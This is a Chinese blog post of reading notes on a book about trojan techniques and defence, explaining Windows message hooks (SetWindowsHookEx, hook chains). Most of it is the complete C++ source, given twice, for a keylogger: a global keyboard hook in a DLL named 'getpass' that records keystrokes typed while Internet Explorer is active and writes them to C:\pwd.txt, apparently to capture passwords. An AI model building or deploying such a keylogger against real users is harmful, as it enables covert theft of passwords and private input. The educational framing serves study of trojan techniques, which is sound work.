木马控制技术(三) -- Hook技术

此为《木马技术揭秘与防御》系列读书笔记


 

基本概念

钩子(Hook)是windows消息处理机制的一个平台:

hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event.

要理解hook的工作原理,首先还是要弄清楚hook chain。微软有相应的文档:Hooks Overview

The system maintains a separate hook chain for each type of hook. hook chain is a list of pointers to special, application-defined callback functions called hook proceduresWhen a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one after the other.

hook chain 就是一个回调函数指针组成的序列。当与某特定类型hook相关的消息到达时,系统将该消息以遍历的方式传递给hook chain中的每个hook程序。

windows 有两种系统钩子:

1. 特定线程钩子:监控指定的线程。钩子函数既可以是包含一个exe,也可是一个dll。

2. 全局系统钩子:可以监控系统中所有的线程。钩子函数必须包含在独立的dll中。

 

常用函数

无论是特定线程钩子还是全局系统钩子,都是通过  SetWindowsHookEx 来安装的。

当钩子函数得到了控制权,并处理完相关事件之后,如果想继续传递该消息,必须调用另一个函数:  CallNextHookEx 。

Hooks tend to slow down the system because they increase the amount of processing the system must perform for each message. You should install a hook only when necessary, and remove it as soon as possible.

因为 Hook 会增加对每个消息处理的次数,导致系统变慢,所以要及时删除。用到的函数:UnhookWindowsHookEx

对应的,hook 函数的逻辑处理框架如下:

LRESULT CALLBACK HookProc(
  int nCode, 
  WPARAM wParam, 
  LPARAM lParam
)
{
   // process event
   ...

   return CallNextHookEx(NULL, nCode, wParam, lParam);
}

 

源码

功能介绍:记录IE中的按键信息

 1 // KBTracer.cpp : Defines the entry point for the application.
 2 //
 3 #include "KeyboardRecord.h"
 4 #include "stdafx.h"
 5 #include <iostream>
 6 
 7 using namespace std;
 8 
 9 int WINAPI WinMain(HINSTANCE hInstance,
10                      HINSTANCE hPrevInstance,
11                      LPSTR     lpCmdLine,
12                      int       nCmdShow)
13 {
14      // TODO: Place code here.
15     MSG msg;
16     char text[] = "Error Loading DLL File";
17     char title[] = "Key tracer";
18     BOOL error = FALSE;
19     HINSTANCE dllHinst;
20     
21     // create hook function 
22     typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID);
23     LPFNDLLFUNC1 lpfnDllFunc1;
24     // load hook dll
25     dllHinst = LoadLibrary("getpass");
26 
27     // [DLL]SetKbHook
28     if(dllHinst != NULL){
29         lpfnDllFunc1 = (LPFNDLLFUNC1)GetProcAddress(dllHinst,"?SetKbHook@@YAXXZ");
30         if(!lpfnDllFunc1){
31             FreeLibrary(dllHinst);
32             strcpy(text,"GetProceAddress Error");
33             error = TRUE;
34         }else{
35             strcpy(text,"Hook Succ!!");
36             lpfnDllFunc1();
37         }
38     }else{
39         error = TRUE;
40     }
41     
42     if(error){
43         MessageBox(GetDesktopWindow(),text,title,MB_OK);
44     }
45     
46     while(GetMessage(&msg,0,0,0)){
47         TranslateMessage(&msg);
48         DispatchMessage(&msg);
49     }
50     
51     return msg.wParam;
52     //return 0;
53 }

接下来,编写getpass.dll文件

该文件的导出函数为 SetKbHook 和 RemoveKbHook 。

在 SetKbHook 函数中,调用了两个 Hook 函数:KeyboardProc 和 CBTProc

1 DLL_EXPORT void SetKbHook(void)
2 {
3     if(!bHooked){
4         hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,(DWORD)NULL);
5         hhookMsg = SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,hinst,(DWORD)NULL);
6         bHooked = TRUE;
7     }
8 }

这两个函数显然属于回调函数,已经实现定义好,委托给用户自己实现。

CBTProc 在这里用来检测 IE 进程是否启动这一event,代码如下:

 1 LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam)
 2 {
 3     if(nCode == HCBT_ACTIVATE){
 4         GetClassName((HWND)wParam,text,TXTLENGTH);
 5         if(text[0] == 'I' && text[1] == 'E'){
 6             bIEActived = TRUE;
 7         }else{
 8             bIEActived = FALSE;
 9         }
10     }
11 
12     return CallNextHookEx(hhookMsg,nCode,wParam,lParam);
13 
14 }

KeyboardProc 用来记录用户的按键信息,并且写入pwd.txt文件内,代码如下:

 1 LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
 2 {
 3     int i,tmp;
 4     int flag_shift,flag_captial,flag_menu,flag_control;
 5 
 6     if(bIEActived){
 7         if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
 8             flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
 9             flag_captial = 0x0001 & GetKeyState(VK_CAPITAL);
10             flag_menu = 0x8000 & GetKeyState(VK_MENU);
11             flag_control = 0x8000 & GetKeyState(VK_CONTROL);
12         }
13 
14         if( wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT &&
15             wParam != VK_UP  && wParam != VK_DOWN   && wParam != VK_END  && wParam != VK_HOME  &&
16             wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK &&
17             wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN &&
18             wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 &&
19             wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12){
20             if((0x80000000 & lParam)  == 0){  // wm_keydown
21                 if(wParam >= 0x41 && wParam <= 0x5a){  // is any key down?
22                     wParam += 32;
23                 }
24                 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
25                     if(wParam == VK_CAPITAL){
26                         tmp = 1;
27                     }else{
28                         tmp = 0;
29                     }
30                     condition[count][wParam - 16 - tmp] = 1;                    
31                 }
32                 tomb[count] = wParam;
33                 count++;
34             }else{                         // wm_keyup
35                 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
36                     if(wParam == VK_CAPITAL) tmp = 1;
37                     else tmp = 0;
38                     condition[count][wParam - 16 - tmp] = 2;
39                     tomb[count] = wParam;
40                     count++;
41                 }
42             }
43 
44             if(count == CHARNUM){
45                 fstream = fopen("C:\\pwd.txt","a+");
46                 
47                 for(i = 0;i < count;i++){
48                     switch(tomb[i]){
49                     case VK_DELETE:
50                         fprintf(fstream,"%s","<del>");
51                         break;
52                     case VK_RETURN:
53                         fprintf(fstream,"%s","\n");
54                         break;
55                     case VK_BACK:
56                         fprintf(fstream,"%s","<Backspace>");
57                         break;
58                     case VK_SHIFT:
59                         if(condition[i][SHIFT] == 1)
60                             fprintf(fstream,"%s","<ShiftD>");
61                         else
62                             fprintf(fstream,"%s","<ShiftU>");
63                         break;
64                     case VK_CONTROL:
65                         if(condition[i][CONTROL] == 1)
66                             fprintf(fstream,"%s","<CtrlD>");
67                         else
68                             fprintf(fstream,"%s","<CtrlU>");
69                         break;
70                     case VK_MENU:
71                         if(condition[i][ALT] == 1)
72                             fprintf(fstream,"%s","<MenuD>");
73                         else
74                             fprintf(fstream,"%s","<MenuU>");
75                         break;
76                     case VK_CAPITAL:
77                         if(condition[i][CAPITAL] == 1)
78                             fprintf(fstream,"%s","<CapD>");
79                         else
80                             fprintf(fstream,"%s","<CapU>");
81                         break;
82                     default:
83                         fprintf(fstream,"%c",tomb[i]);
84                         break;
85                     }
86                 }
87                 fclose(fstream);
88                 count = 0;
89                 InitCondition();
90             }
91         }    
92     }
93     return CallNextHookEx(hhook,nCode,wParam,lParam);
94 }

完整的源码如下:

 

getpass.cpp
// getpass.cpp : Defines the entry point for the DLL application.
// 键盘钩子  非常不完善

#include "stdafx.h"
#include "KeyboardRecord.h"
#include <iostream>
#include <process.h>

#define CHARNUM 5
#define TXTLENGTH 10

enum NUM{SHIFT,CONTROL,ALT,CAPITAL};

static BOOL bHooked = FALSE;
static HHOOK hhookMsg = 0, hhook = 0;
static HINSTANCE hinst;
static int count;
static char text[TXTLENGTH];
static BOOL bIEActived = FALSE;
static char tomb[CHARNUM];
static int  condition[CHARNUM][CAPITAL + 1];

static FILE *fstream;

void InitCondition(void);
LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam);


BOOL WINAPI DllMain( HINSTANCE hInst, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch(ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
        hinst = (HINSTANCE)hInst;
        InitCondition();
        count = 0;
        break;
    default:
        break;
    }
    return TRUE;
}

DLL_EXPORT void SetKbHook(void)
{
    if(!bHooked){
        hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,(DWORD)NULL);
        hhookMsg = SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,hinst,(DWORD)NULL);
        bHooked = TRUE;
    }
}


LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
    int i,tmp;
    int flag_shift,flag_captial,flag_menu,flag_control;

    if(bIEActived){
        if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
            flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
            flag_captial = 0x0001 & GetKeyState(VK_CAPITAL);
            flag_menu = 0x8000 & GetKeyState(VK_MENU);
            flag_control = 0x8000 & GetKeyState(VK_CONTROL);
        }

        if( wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT &&
            wParam != VK_UP  && wParam != VK_DOWN   && wParam != VK_END  && wParam != VK_HOME  &&
            wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK &&
            wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN &&
            wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 &&
            wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12){
            if((0x80000000 & lParam)  == 0){  // wm_keydown
                if(wParam >= 0x41 && wParam <= 0x5a){  // is any key down?
                    wParam += 32;
                }
                if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
                    if(wParam == VK_CAPITAL){
                        tmp = 1;
                    }else{
                        tmp = 0;
                    }
                    condition[count][wParam - 16 - tmp] = 1;                    
                }
                tomb[count] = wParam;
                count++;
            }else{                         // wm_keyup
                if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
                    if(wParam == VK_CAPITAL) tmp = 1;
                    else tmp = 0;
                    condition[count][wParam - 16 - tmp] = 2;
                    tomb[count] = wParam;
                    count++;
                }
            }

            if(count == CHARNUM){
                fstream = fopen("C:\\pwd.txt","a+");
                
                for(i = 0;i < count;i++){
                    switch(tomb[i]){
                    case VK_DELETE:
                        fprintf(fstream,"%s","<del>");
                        break;
                    case VK_RETURN:
                        fprintf(fstream,"%s","\n");
                        break;
                    case VK_BACK:
                        fprintf(fstream,"%s","<Backspace>");
                        break;
                    case VK_SHIFT:
                        if(condition[i][SHIFT] == 1)
                            fprintf(fstream,"%s","<ShiftD>");
                        else
                            fprintf(fstream,"%s","<ShiftU>");
                        break;
                    case VK_CONTROL:
                        if(condition[i][CONTROL] == 1)
                            fprintf(fstream,"%s","<CtrlD>");
                        else
                            fprintf(fstream,"%s","<CtrlU>");
                        break;
                    case VK_MENU:
                        if(condition[i][ALT] == 1)
                            fprintf(fstream,"%s","<MenuD>");
                        else
                            fprintf(fstream,"%s","<MenuU>");
                        break;
                    case VK_CAPITAL:
                        if(condition[i][CAPITAL] == 1)
                            fprintf(fstream,"%s","<CapD>");
                        else
                            fprintf(fstream,"%s","<CapU>");
                        break;
                    default:
                        fprintf(fstream,"%c",tomb[i]);
                        break;
                    }
                }
                fclose(fstream);
                count = 0;
                InitCondition();
            }
        }    
    }
    return CallNextHookEx(hhook,nCode,wParam,lParam);
}

/*
The system calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, 
maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event
from the system message queue; before setting the input focus; or before synchronizing with the system message queue. 
The value the hook procedure returns determines whether the system allows or prevents one of these operations. The 
WH_CBT hook is intended primarily for computer-based training (CBT) applications.
判断IE是否被激活
*/
LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode == HCBT_ACTIVATE){
        GetClassName((HWND)wParam,text,TXTLENGTH);
        if(text[0] == 'I' && text[1] == 'E'){
            bIEActived = TRUE;
        }else{
            bIEActived = FALSE;
        }
    }

    return CallNextHookEx(hhookMsg,nCode,wParam,lParam);

}

DLL_EXPORT void RemoveKbHook(void)
{
    if(bHooked){
        UnhookWindowsHookEx(hhook);
    }
}

void InitCondition(void)
{
    int i,j;
    for(i = 0;i < CHARNUM;i++){
        for(j = 0;j < CAPITAL + 1;j++){
            condition[i][j] = 0;
        }
    }
}
KeyboardRecord.h
#ifndef _KTR
#define _KTR
#include <windows.h>
#define DLL_EXPORT _stdcall(dllexport)
DLL_EXPORT void SetKbHook(void);
DLL_EXPORT void RemoveKbHook(void);
#endif
KBTracer.cpp
// KBTracer.cpp : Defines the entry point for the application.
//
#include "KeyboardRecord.h"
#include "stdafx.h"
#include <iostream>

using namespace std;

int WINAPI WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     // TODO: Place code here.
    MSG msg;
    char text[] = "Error Loading DLL File";
    char title[] = "Key tracer";
    BOOL error = FALSE;
    HINSTANCE dllHinst;
    
    // create hook function 
    typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID);
    LPFNDLLFUNC1 lpfnDllFunc1;
    // load hook dll
    dllHinst = LoadLibrary("getpass");

    // [DLL]SetKbHook
    if(dllHinst != NULL){
        lpfnDllFunc1 = (LPFNDLLFUNC1)GetProcAddress(dllHinst,"?SetKbHook@@YAXXZ");
        if(!lpfnDllFunc1){
            FreeLibrary(dllHinst);
            strcpy(text,"GetProceAddress Error");
            error = TRUE;
        }else{
            strcpy(text,"Hook Succ!!");
            lpfnDllFunc1();
        }
    }else{
        error = TRUE;
    }
    
    if(error){
        MessageBox(GetDesktopWindow(),text,title,MB_OK);
    }
    
    while(GetMessage(&msg,0,0,0)){
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    return msg.wParam;
    //return 0;
}

参考资源:

[1] 【HOOK技术】键盘钩子 http://www.cnblogs.com/chenang/archive/2011/11/04/2236554.html [2] 利用键盘钩子开发按键发音程序 http://www.vckbase.com/index.php/wv/40

posted @ 2012-08-12 13:18  handt  阅读(1412)  评论(0编辑  收藏  举报